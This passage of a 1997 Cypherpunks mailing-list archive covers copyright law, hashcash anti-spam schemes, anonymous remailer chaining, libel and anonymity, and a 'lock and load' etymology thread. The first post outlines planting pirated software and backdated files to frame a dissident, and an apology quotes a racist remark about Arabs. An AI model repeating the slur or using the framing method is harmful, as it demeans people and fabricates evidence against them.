So don't kid yourself,  the words "Willful  Intent" are just there to
preserve a veneer of reasonableness. They will as a practical manner be
ignored.

Hasn't the governments motive for this new law been discussed yet?

Universal  PC (Probable Cause) to search the computers of dissidents and
political enemies.

    How simple to upload a CD ROM of some $1000.00 piece of "Pirated"
Software and secure a conviction. Roll the CMOS Date back a while, load
the program. Then change the CMOS date to the current correct one. Now
throw in a PGP encrypted Chapter of the Gulag Archipelago (appropriate)
and then claim all related doc's are encrypted (probably terrorist plans
and the accused refuse to divulge the password (they claim not to know
it or where the Software came from.. "ha ha we know better").

Ahh...a "New High Tech Weapon in the Government's fight against  their
"enemies"...the people.


Wm.




Robert A. Costner wrote:

> At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
> >since the infringment has to be "willful." That is, you have to
> >KNOW that what you're doing is INDEED an infringment in order to be
> >convicted.
>
> Section 506(a) of title 17, United States Code, is amended to read as
> follows:
> Any person who infringes a copyright willfully ....
>
> I know this has been discussed before, but I am unclear as to what are
> the
> differences between "willfully" and other concepts, such as
> "knowingly."  I
> wish one of the lawyer types on here could clarify this some more.  If
>
> willful means that you know what you are doing, then it might narrow
> the
> law some.  You would have to know the work was copyrighted, and you
> would
> have to know that the copying is not allowed by law.
>
> I'm confused by the law as it seems to make some actions criminal that
> I
> cannot conceive were meant to be criminal.  Since I know that by
> surfing
> the web and being on mail lists, and using usenet, I will exchange
> copies
> of copyrighted works I am confused by this new law's affirmation that
> I am
> participating in "financial gain" by reading web pages and the like.
> Since
> I am confused, perhaps my actions are not willful?
>
> Just what is the meaning of "Willful" in this context?
>
>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh@efga.org
>      http://www.efga.org/            run PGP 5.0 for my public key







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 07:31:44 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Lock and Load (fwd)
Message-ID: <199712222340.RAA20847@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Lock and Load 
> Date: Mon, 22 Dec 97 17:59:49 -0500
> From: "Brian B. Riley" <brianbr@together.net>

> There are probably as many weapons where this is true as there where
> it is not. In general it makes most sense to check for safe condition
> before and after loading.

Would you be so kind as to give a specific example of a bolt action,
semi-automatic, or automatic rifle that can't be loaded on safe? I have
never seen a rifle that wouldn't allow this.

A parallel pistol example would be nice too, if you're so inclined.

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Tue, 23 Dec 1997 09:48:07 +0800
To: Adam Back <bill.stewart@pobox.com
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971218120500.00707254@popd.ix.netcom.com>
Message-ID: <v03102803b0c4c620c215@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:55 PM +0000 12/22/1997, Adam Back wrote:
>Bill Stewart <bill.stewart@pobox.com> writes:
>> >This is exactly what I was addressing: remailers only have to get
>> >themselves certified as remailers and then prove their certification
>> >to the destination
>> 
>> You're both taking the wrong approach - make the originator of the
>> message generate the hashcash, and make sure the remailer syntax
>> lets them paste it in as needed.  For chained remailers, generate
>> multiple layers of hashcash.  Maintaining whitelists is a losing
>> game, but unnecessary here.
>
>This works well enough.
>
>The more thorny problem to solve is that posed by Robert Costner: what
>do you do about nyms.  You (the sender) can't include postage for nym
>reply blocks because you don't know (and mustn't know) the remailer
>chain pointed to by the reply block.

eCache is probably the best solution for remailers (and probably SPAM in general) since real value can pass anonymously from sender to receptient.

>
>> Mailing lists are still hard, and perhaps best handled by the user's
>> software (or some fancy variant like user-selectable filters at the
>> ISP mailbox.)
>
>I think it's simplest to have the user explicitly allow the mailing
>list.

Yes, especially when the list requires a hashcash 'initiation,' before allowing unlimited postings, to prevent many  common list SPAM abuses.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 23 Dec 1997 02:19:09 +0800
To: bill.stewart@pobox.com
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971218120500.00707254@popd.ix.netcom.com>
Message-ID: <199712221755.RAA00355@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Bill Stewart <bill.stewart@pobox.com> writes:
> >This is exactly what I was addressing: remailers only have to get
> >themselves certified as remailers and then prove their certification
> >to the destination
> 
> You're both taking the wrong approach - make the originator of the
> message generate the hashcash, and make sure the remailer syntax
> lets them paste it in as needed.  For chained remailers, generate
> multiple layers of hashcash.  Maintaining whitelists is a losing
> game, but unnecessary here.

This works well enough.

The more thorny problem to solve is that posed by Robert Costner: what
do you do about nyms.  You (the sender) can't include postage for nym
reply blocks because you don't know (and mustn't know) the remailer
chain pointed to by the reply block.

> Mailing lists are still hard, and perhaps best handled by the user's
> software (or some fancy variant like user-selectable filters at the
> ISP mailbox.)

I think it's simplest to have the user explicitly allow the mailing
list.

You could possibly auto detect the pattern of a user subscribing to a
mailing list at the mail filter level also.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 23 Dec 1997 01:11:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hate speech and censorship
Message-ID: <199712221655.RAA22222@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On behalf of the non-racist cypherpunks, please accept an apology for
Paul Bradley's racist message:

> uneducated and foolish arabs such as Parekh should stick 
> to what they do best: running kebab shops and/or selling cheap fake rolex 
> watches to tourists. 

This does not reflect the mainstream view on the list.  Cypherpunks
understand that disparaging the racial background of others is a weak
and invalid form of argument.

While it may be appropriate to criticize actions taken during the list
moderation experiment, casting the issue in racial terms only reveals
the ignorance and bigotry of the writer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 23 Dec 1997 07:08:19 +0800
To: <cypherpunks@toad.com>
Subject: Re: Lock and Load
Message-ID: <199712222259.RAA14079@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/22/97 5:30 PM, mparson@smartnap.com (mparson@smartnap.com) 
passed this wisdom:

>> Wait a second, aren't we supposed to load first and lock later?
>> How can you load a rifle if it is on safety? 
>
>You can load most rifles with the safety on. We loaded our M-16s on 
>the line while the weapon was on 'safe' all the time. The next 
>command was always, "Rotate your selector switch from 'safe' to 
>'semi.' Firers, watch your lanes... fire at will." Most safeties 
>are just trigger locks that prevent you pulling the trigger, they 
>do nothing preventing you from sticking in a loaded magazine and 
>chambering a round.  

 At the risk of thumping upon a well deceased equine carcass, the
original expression was "Load and Lock" (admittedly "Load and Lock"
rolls off the tongue more easily than the inverse) as there were many
weapons whose actions could not be loaded when in the 'safe' position.
There are probably as many weapons where this is true as there where
it is not. In general it makes most sense to check for safe condition
before and after loading.

 But, to answer the orginal question, it is generally used as a
euphemism for "get ready for action" either offensive or defensive.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJ7w2z7r4fUXwraZAQGHtAf/Qi3zmRF6nfW/OxkyiV5gyh+7Yl+HuVnP
ri6kmiyI0273h10dz7naAftBTUXUDNLTKyGputK97ApLd1LI8pw0IXJuR4zCs8dn
eis5k1jf/RdEX7l3et1PogkeKseC0u0CsPr8kv7xkJcth0Wo5aFCSvGGiIKAAQLO
cGOyvdlA1cdA0L5PLizCpAkt5TATDbSpus0uadPOrh/MEv7GcOdaT4eHlKUDL0rJ
ypwZt3VQqlkZKf7d7WISt/CicR2HiI1tDlqfqcJasvUvYJNshi0KpASVWCybZ49a
wiXytgjo2BlQCDUtCnAn0NH7hP+bqC3W9TaXcGMTyxaLMsUBsKFxTQ==
=DHrc
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "Journeys are about discovery, about lives touching briefly and then 
parting,
  except on the Internet, where distant lives can intertwine, and where a 
  journey of discovery never has to end." -- 	Jim Heid






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 23 Dec 1997 02:18:44 +0800
To: whgiii@invweb.net
Subject: Re: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <199712182121.QAA04394@users.invweb.net>
Message-ID: <199712221801.SAA00366@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@invweb.net> writes:
> Well IMNSHO hashcahs mail sucks!! It opens up the pandora's box of usage
> based charges for everything done on the 'net. What will be next? FTP
> sites charging hashcash for DL's? WebPages charging hashcash per hit? DNS
> servers charging per lookup? Routers charging per packet?

We already pay usage charges indirectly.

That is to say, in the UK you pay per second phone line charges.  It
would actually save me money if the net was a bit more responsive.  If
I was paying packet delivery at guaranteed performance, I would spend
less money on the phone charges.

Flat rate charges is nice enough, and the way I would like things to
stay, however I tend to think that usage charges would not be as bad
as you expect, because it would put competitive pressure on ISPs to
provide performance.

(My current ISP has truly pitiful performance.)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 23 Dec 1997 02:19:08 +0800
To: phelix@vallnet.com
Subject: Re: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <349b9ea2.5036920@128.2.84.191>
Message-ID: <199712221807.SAA00377@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Phelix <phelix@vallnet.com> writes:
> On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:
> 
> >.....
> >> The implementation of the plan is a more or less impossible scheme. 
> >
> >Nyet. It can be phased in over time...people install the software, mailing
> >lists warn their users to exempt them, and the big servers start asking for the
> >hashcash, little servers pick it up. 
> >
> >.....
> 
> Yes, but if you just phase it in over time, what benefit, if any, will
> users see until hashcash is fully deployed.  

No spam in their mail boxes :-)

> Until that time, people will still have to accept email without
> hashcash or risk losing important messages.

You could work around this somewhat by configuring the hashcash filter
to put nonces (a random number) in the bounce messages for messages
which arrived without hashcash.

The instructions could read:

	Email to this address requires hashcash postage.  To generate
	your hashcash postage get software from here: <URL>

	Alternatively simply reply to this message putting this number
	in the subject field: 12347651324

The danger is that the spammer could abuse this by automating the
reply to these bounce messages.  However spammers typically don't like
to include a valid reply address, so this at least makes spammers
include an address where they can be replied to.

> We need to find some way for users to benefit from hashcash now, not 2
> years from now when 90% of sites are using it.  The only thing I can think
> of is having servers place "Hashcash-verified" headers on incoming mail so
> that users can do positive filtering ("this is valid email") rather than
> negative filtering ("this is spam").
> 
> I don't see people adopting hashcash unless there is some intermediate
> benefit to doing so.

An easily observable tag in the subject field such as: [SPAM?] meaning
no hashcash or [NEW] meaning you had never received messages from this
address before could be useful perhaps.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Tue, 23 Dec 1997 02:31:07 +0800
To: remailer-politics@server1.efga.org
Subject: Re: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <349a9e71.174166558@news.cbr.aone.net.au>
Message-ID: <19971222182005.21737.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

gburnore@netcom.com (Gary L. Burnore) wrote:

> :  I suspect that there is very little that can be done, and
> :that holds true for non-anonymous posts as well.  Just looking at some of the
> :massive cross-posts with subject lines that say "So-and-so is a pedophile"
> :(some of them with Netcom addresses who seem to be able to hang onto their
> :accounts despite making such accusations),
>  
> I think it's more that those who are "accused" are likely not suing because of
> the cost and trouble.

That's a decision each individual has to make.  Usenet is full of blowhards
that keep threatening to sue over real or imagined grievances, but never do.
You're merely pointing out the impracticalities of Politas' suggestions about
punishing usenet wrongdoers.  Why go to the bother of implementing protocols
which invade the privacy of innocent users just to catch the occasional law
breaker if it's not worth the cost and trouble to sue the culprit once he's 
identified?
 
> : I'd say that usenet is a different
> :ballgame from the print media where for-profit publishers have deeper pockets.
>  
> Exactly, deeper pockets.

That and the fact that it's easier to prove actual damages via the print media
because people tend to believe paper and ink more than they do usenet posts.
Usenet posts are taken with a grain (or ton) of salt by most readers.
 
> :The problem with tort laws is that to successfully sue for libel you have to
> :prove damages as well as prove that what was said was false. Thus, you'd have
> :to prove to a jury that someone made a defamatory statement about you that was
> :false, that people believed it, and that your reputation has suffered
> :measurably as a result.
>  
> That's usually not difficult.  One person says you did something you didn't
> do. As soon as a second person repeats what the first person said, you've
> proof that people believed it. That's reason enough to say your reputation has 
> suffered.

You'd also have to prove that the person who repeated it didn't already think
you were a n'eer-do-well prior to the post.  If somebody already thinks you're 
a shady character and a post merely reinforces that belief, it'd be hard to 
make a case that your reputation had been damaged by that post.  The case 
you'd have to make is that a person previously thought your character was 
impeccable until an anonymous post convinced him that you were a scoundrel.  
I suspect that would be a hard sell with most juries.  Most people put the 
credibility of usenet posts (even non-anonymous ones) on par with things they 
find scrawled on rest room walls.

> :  Identifying the person who posted the message is only  
> :a small part of the problem.
>  
> It's the biggest piece of the puzzle.  Without it, the rest is useless.

And it's not much better with non-anonymous posts.  When confronted with making
a defamatory post, one can always claim that it was forged, or that someone
hacked his account, stole his password, or used a terminal that was 
inadvertently left logged in while the person was at lunch to make the 
defamatory post without his knowledge or consent.  Without some reliable means 
of authentication, such as PGP signing, how are you going to prove that the 
person named as the poster really posted it?  Inserting a remailer into this 
scenario only adds an additional link to an already tenuous chain of evidence.

> :Moreover, if the plaintiff has attained the status of a "public figure", he  
> :has to prove additionally that the defendant KNOWINGLY and MAILICIOUSLY  
> :published FALSE information.
>  
> That too would be easy in USENet.  I say you did something you didn't do.  You
> say "post evidence or shut up".  I say it again or even just follow up to your
> "post evidence or shut up" message and I'm doing it knowingly.

The person could easily justify saving the evidence to be used in his defense 
for a courtroom rather than revealing it on usenet, though.  A "post evidence 
or shut up" challenge really does nothing to put a person on notice that his 
claims are false.  It's always possible that the statements were true and that 
the challenger is bluffing in the hope that the accuser really has no 
evidence.  Remember, the test is whether the poster KNEW his statements were 
false.
 
> :  Thus, if you said that Clinton sexually harassed
> :Paula Jones, it's unlikely that the President could sue you and win. He'd have
> :to prove that you knew the accusation was false and made it anyway with
> :malicious intent.
>  
> But if you're Paula Jones and it's proven that what you accused didn't happen,
> you could be sued by the President.

True.  I was talking about the case of a third-party who could have been
acting on his belief, perhaps wrong, that Paula Jones was telling the truth.

Apply the rationale you previously suggested to this case.  Suppose I say
that Clinton sexually harassed Paula Jones and he challenged me to "post the
evidence or shut up".  Would that demand obligate me to shut up?  Would it
somehow put me on notice that Clinton was innocent?  I don't think so.

> :> Hotmail DOES know who signs up and uses their mail service (at least the
> :> connection information such as IP and provider.
> :
> :That's probably reason enough for someone who truly needs anonymity to avoid
> :such a service.  The problem is that once it's known that the identifying
> :information exists somewhere, the keeper of that information becomes a
> :target for coercion, bribery, hacking, burglary, etc.
>  
> Only if someone uses their site in an abusive fashion.  Like any other 
> service.

I would not assume the motives of a person willing to engage in such tactics
to be honorable ones.  It could just as easily be a person out to exact
revenge on a whistleblower.  Look at the person who blew the whistle on the
tobacco industry.  Imagine if he'd done it anonymously.  Imagine if the next
person in that position decides he doesn't want to become a target by
revealing his identity.  It's hardly a case of using a site in an abusive
fashion, but it still might get the attention of someone wanting desperately
to identify and silence a "trouble maker" like that.

Requiring a remailer operator to store data that could later be used to
prosecute an accused criminal also makes that same data vulnerable to 
compromise by those with no legally defensible need to gain access to it.
A "black bag job" is often more expedient than going through the proper legal
channels.
 
> :> There's still no way to do something even if the law has already been broken. 
> :
> :If someone has already been convicted of an offense that involved the
> :internet, it might be possible to suggest that one condition of any probation
> :or parole be to avoid using the internet, similar to what happens when one is
> :convicted of drunk driving.  Many jurisdictions allow victim input into the
> :sentencing/parole process.
> :  
> :(I'm not advocating this, merely pointing out that it's possible.)  
>  
> You skipped the apprehension and prosecution  and jumped to after sentencing.

I assumed that apprehension and prosecution would precede sentencing.  You did
state that "the law has already been broken", and that is a decision for a 
judge and jury to decide, so I assumed that it had already been made in a 
trial.
 
> :The problem is that devising workable solutions to problems that don't yet
> :exist is much more difficult that resolving problems that do already exist.
>  
> Many say the problem does exist.

I was dealing with Politas' specific concern.  Not only did he state that the
problem didn't exist, but he doubted that it ever would be a problem FOR HIM.  
I made no attempt to generalize the answer, only deal with Politas' concerns 
that were motivating his call for changes.
 
> :And that's doubly true if the person refuses to implement the preventive
> :measures already suggested.
>  
> He can still only implement _SOME_ measures.  Others are beyond his control.
> He can't make the other person stop posting false information.

I'm not sure about Australia, but that's true in the United States.  The
Supreme Court has ruled that prior restraint, based on what someone MIGHT do,
is an unconstitutional infringement upon freedom of speech.

> :  It's sort of like saying, "Why should I be careful 
> :with that hot coffee?  I'll just wait until it spills and injures me, then  
> :I can sue someone!" 
>  
> Only true for those things under his control.  If the "attacker" never sends
> him an email, it'd be hard to argue that the fact that he didn't block his
> email address proved he didn't protect himself. 

And I've never been injured by spilling hot coffee in my lap either, but
common sense dictates that I should take reasonable precautions to prevent it
before it happens.  You presumably lock your front door when you leave, even
if you've never been burglarized, right?

Remember, we're operating from Politas' premise that the only people who use
anonymous communications are "criminals", so unless he has some reason for
wanting to hear from "criminals", HE has no excuse not to pre-emptively block
anonymous mail.  YMMV, of course.
 
> :I do too.  But his premise was used to support his suggested remedy.  If an
> :anonymous user is NOT presumed to be a criminal, then you can't justify
> :treating him like one.
>  
> I still wonder about what to do about "suspects" on the net.  How do you
> investigate one suspected without harming those NOT suspected?

If by "suspect" you mean someone that you have REASONABLE CAUSE to believe
is committing a crime, you have a number of legal remedies.  A US Attorney
could get a search warrant for the suspect's computer(s), subpoena his ISP's
access logs, perhaps even request a wiretap on his link to the internet.  In
a civil case you'd have to do the legwork yourself, but I'm sure that many
of the same tools are available.

But if you had an identifiable suspect in mind, then his attempts at
remaining anonymous would have been for naught.  Maintaining one's privacy
requires more than just technology.

If you didn't have probable cause, but had narrowed it down to a short list
of potential culprits, then you might wish to engage the services of a private
investigator with expertise on the internet to assist you.  (You could also
hire your friendly neighborhood hacker for a lot less, but you'd be assuming
a lot more liability for any illegalities in his "investigation" than you
would in dealing with a licensed, bonded professional.)
 
> :Take "libel", for example.  Let's suppose a law were enacted today to make
> :defaming the President of the United States a criminal offense.  How much
> :success do you think you'd have in forcing a remailer in Libya or Iraq to
> :aid in hunting down such an offender?
>  
> None.

That was my point.  Politas' contention that remailers were being used to
perpetrate crimes that are prosecutable in EVERY COUNTRY is hard to believe.
There are crimes that fall into that category, of course, but I can't think
of one that's possible to commit anonymously via a remailer.

Most countries, I suspect, would be even less likely to intervene against
an innocent third party, the remailer operator, to subpoena confidential
data for the sake of a civil matter between two foreign individuals.

The lessons of the Church of Scientology vs. Julf debacle have hopefully
been learned and it won't easily be repeated.  The fact that a single
(vulnerable) individual stood between a dissident poster and a litigious 
organization served as a wake-up call to many remailer users.  Many will now 
accept nothing less than REAL anonymity, not the snake oil "trust me, I'm from
the government" approach to privacy and personal security that some want.
 
- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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9XUtEdRuETfL/TyGEG7aEFw0DEwdeflEGGrkVmls1pYzH17/5fqc2Q==
=phEE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Tue, 23 Dec 1997 08:56:44 +0800
To: mixmaster@remail.obscura.com
Subject: Re: Lock and Load
In-Reply-To: <199712222142.NAA27915@sirius.infonex.com>
Message-ID: <199712222327.SAA06752@alcove.wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain



Mix enscribed thusly:
> Jim Choate wrote:
> > Forwarded message:
> > > Not being a native English speaker, I do not understand the
> > > meaning and origin of the phrase "LOck and Load".
> >
> > It means to lock the rifles safety and load it's chamber in preperation for
> > firing at an enemy. It is usualy used in a military context but head-bangers
> > and such use it when talking about loading their bongs and I am shure other
> > groups use it as well in various contexts.


> Wait a second, aren't we supposed to load first and lock later? How
> can you load a rifle if it is on safety? 

	The reference goes back to old flint lock muzzle loaders.  You would
"lock" the firing mechanism in a safety position (kind of a half cocked
position), then load it through the muzzle (picture this and some old
cartoons about raming a ball on top of gun powder down the muzzle of a
riffle and the possiblities to picture why you would want this locked on
"safety"), then finish cocking the rifle to prepare it to fire.  This also
relates to the term "half cocked" since a rifle that was only half cocked
(in its locked position) was not ready to fire.  So going off "half cocked"
became a reference to going into something unprepared while "lock and load"
evolved into a reference to actively or vigorously preparing to engage in
something, be it a battle, an arguement, or what ever...

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 23 Dec 1997 07:58:55 +0800
To: cypherpunks@cyberpass.net
Subject: Censorware complaint online
Message-ID: <v03007808b0c4ae214c45@[204.254.22.24]>
MIME-Version: 1.0
Content-Type: text/plain



The complaint in the Loudoun County censorware case is at:

  http://cgi.pathfinder.com/netly/spoofcentral/censored/

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Tue, 23 Dec 1997 03:21:48 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer Logs (and Accountability)
In-Reply-To: <199712221346.OAA03091@basement.replay.com>
Message-ID: <19971222190006.27998.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

nobody@REPLAY.COM (Anonymous) wrote:
 
> I've been reading about Cajones, and having logs demanded, and
> about traceability vs accountability and so forth here.
>  
> Do remailers keep a trace of whoever sends them mail?  I sent
> this message from my desk to Replay and on to a mail2news gateway,
> can someone trace it back to my desk somehow?  That would hardly
> be anonymous, would it.  Sorry if this is/has been covered somewhere,
> but I can't seem to find a good nuts and bolts explanation of
> just how secure anonymous remailers are.

I suspect that if you polled remailer operators you'd find that some
keep logs and some don't.  I don't know about the Replay remailer.  Perhaps
Alex DeJoode (the operator of the Replay remailer) would care to comment.  Nor 
can logs necessarily positively identify you.  If kept, they would record when 
your message came in and when the post to usenet went out, but *PROBABLY* 
would not establish a conclusive link between the two.  Many remailers 
maintain a "reordering pool" where forwarded messages do not necessarily get 
sent out in the order they were received.

If you're concerned about backwards traceability via remailer logs, then
encrypt and chain your posts through several remailers.  If you do that,
your identity is protected unless *ALL* of the remailers kept logs and their
operators *ALL* cooperated in the effort to identify you.  If even one of the
remailers in the chain doesn't keep logs, then the trail back to you stops
right there.

IMO, any remailer operator that keeps logs is inviting trouble, but that's
their choice.  Some remailers are hosted on ISPs that automatically keep logs
and it is quite beyond the remailer operator's control.

If you sent this message directly to the replay.com remailer and didn't
encrypt it, then anyone along the electronic path between you and the
Replay remailer could have read it and known who posted it.  If you
PGP encrypted it, then it would take Alex DeJoode's cooperation to identify
you, assuming he kept logs.  If you had used encrypted chaining through at 
least three remailers, then no single person (except you) would know both
the source and final destination of the message.  The first remailer would
know who sent it but not where it was headed.  The second remailer would know
neither.  The third remailer would only know its destination (usenet) but not
its source.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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CNv/TheuBvbsbGQ1bBi7zeWVtkCq+MK8XhTFKKLHw6sfyukgAaQY5toM5H+zHtaY
ITCQyGheSngySv/jD8RYYKNtHfk/aCEl9v8MYfTmiBotYp6eiSim3HZyTsNPH41L
wRnQc/90zcDmPe5sB6fJY0DxSywX+w7yyobwlCSvlTGWUeVVBntJY65RZysVwtHy
YbFplCehw3ygJ20OK1fWJUpVvYFUlY56SdnxPvZPaPO/5vO+zO6UTqvKX2WRfc23
DdF4OE45Y0DeVKgUkIzI3YeMn4WbVC1xLf7HCSYtsxRfwTjVdcj6
=7IdA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 23 Dec 1997 03:48:31 +0800
To: schear@lvdi.net
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re:  UCENET II and Peter duh Silva)
In-Reply-To: <v03102800b0c300fd81ba@[208.129.55.202]>
Message-ID: <199712221915.TAA00367@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Steve Schear <schear@lvdi.net> writes:
> I've heard some U.S. cellular carriers are experimenting with
> "caller pays" billing.  Does anyone on the list have experience with
> "caller pays"?

I was totally amazed when I heard from a US friend that US cell phones
don't bill the caller!  My immediate thought was "people can spam call
you and run your bill up, ouch!"

Must be weird having a cell phone where people can run your bill up
just by calling you.

In the UK to my knowledge all GSM mobiles and POTS lines are caller
pays all.  The obvious thing to do is for the US cell phone suppliers
to "experiment with caller pays" billing, the only way that makes
sense.

(With the logical exception of 0800 (freephone) and 0345 (lo-call
half way between 0800 and 0345)).

(0800 = BT free phone, 0500 = mercury freephone; 0345 = BT lo-call,
0645 = mercury lo-call, 0845 = energis lo-call).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 23 Dec 1997 03:54:43 +0800
To: paul@fatmans.demon.co.uk
Subject: C2net bashers... well let's hear it
In-Reply-To: <Pine.LNX.3.91.971222144241.3012A-100000@fatmans.demon.co.uk>
Message-ID: <199712221932.TAA00384@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Paul Bradley <paul@fatmans.demon.co.uk> writes:
> Yes, those on the list a few months ago [...] will remember
> censorous arab Sameer Parekh for sending abusive mail threatening
> legal action to those who criticised the security of his companies
> "stronghold" firewall,

Stronghold is a web-server, not a firewall.

> which I among others suspect to contain govt. backdoors, 

Would you or Dimitri care to be more specific?

Is there a specific flaw you have in mind?

Are there any features of Stronghold which you think hinder third
party validation?

Is anything about C2Net policies which you think hinders open review?

(Yes we know about the legal threats Dimitri received, personally I
consider this is a mistake on C2Net's part).

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Magnay" <sdh@crafti.com.au>
Date: Mon, 22 Dec 1997 16:50:49 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Freedom Forum report on the State of the First Amendm
In-Reply-To: <199712200009.TAA26091@beast.brainlink.com>
Message-ID: <199712220844.TAA27568@crafti.com.au>
MIME-Version: 1.0
Content-Type: text/plain



On 19 Dec 97 at 11:58, Jim Burnes wrote:
> 
> On Fri, 19 Dec 1997, David Honig wrote:  ...
> 
> > If one ever questions this in public, as Tim did, the liberal response
> > is to show that unPC 'discrimination' is possible if humans are free,
> > and then the dutiful citizen gladly sacrifices employers' liberty for
> > their warm and fuzzy feelings.  The first amendment is about what
> > government can't do to you, not what your  neighbor can or can't do. 
> 
> Yeah.  The real question is what humans are free to do.  The freedom
> to do something is also the freedom *not* to do something.  The
> freedom to conduct a transaction (employing someone) must also be
> the freedom not to conduct that transaction because the transaction
> is voluntary.
>

Who said humans are free ? Which page is that written on ? Ooops, 
lost my copy. Your version must be wrong. Probably a spelling error.

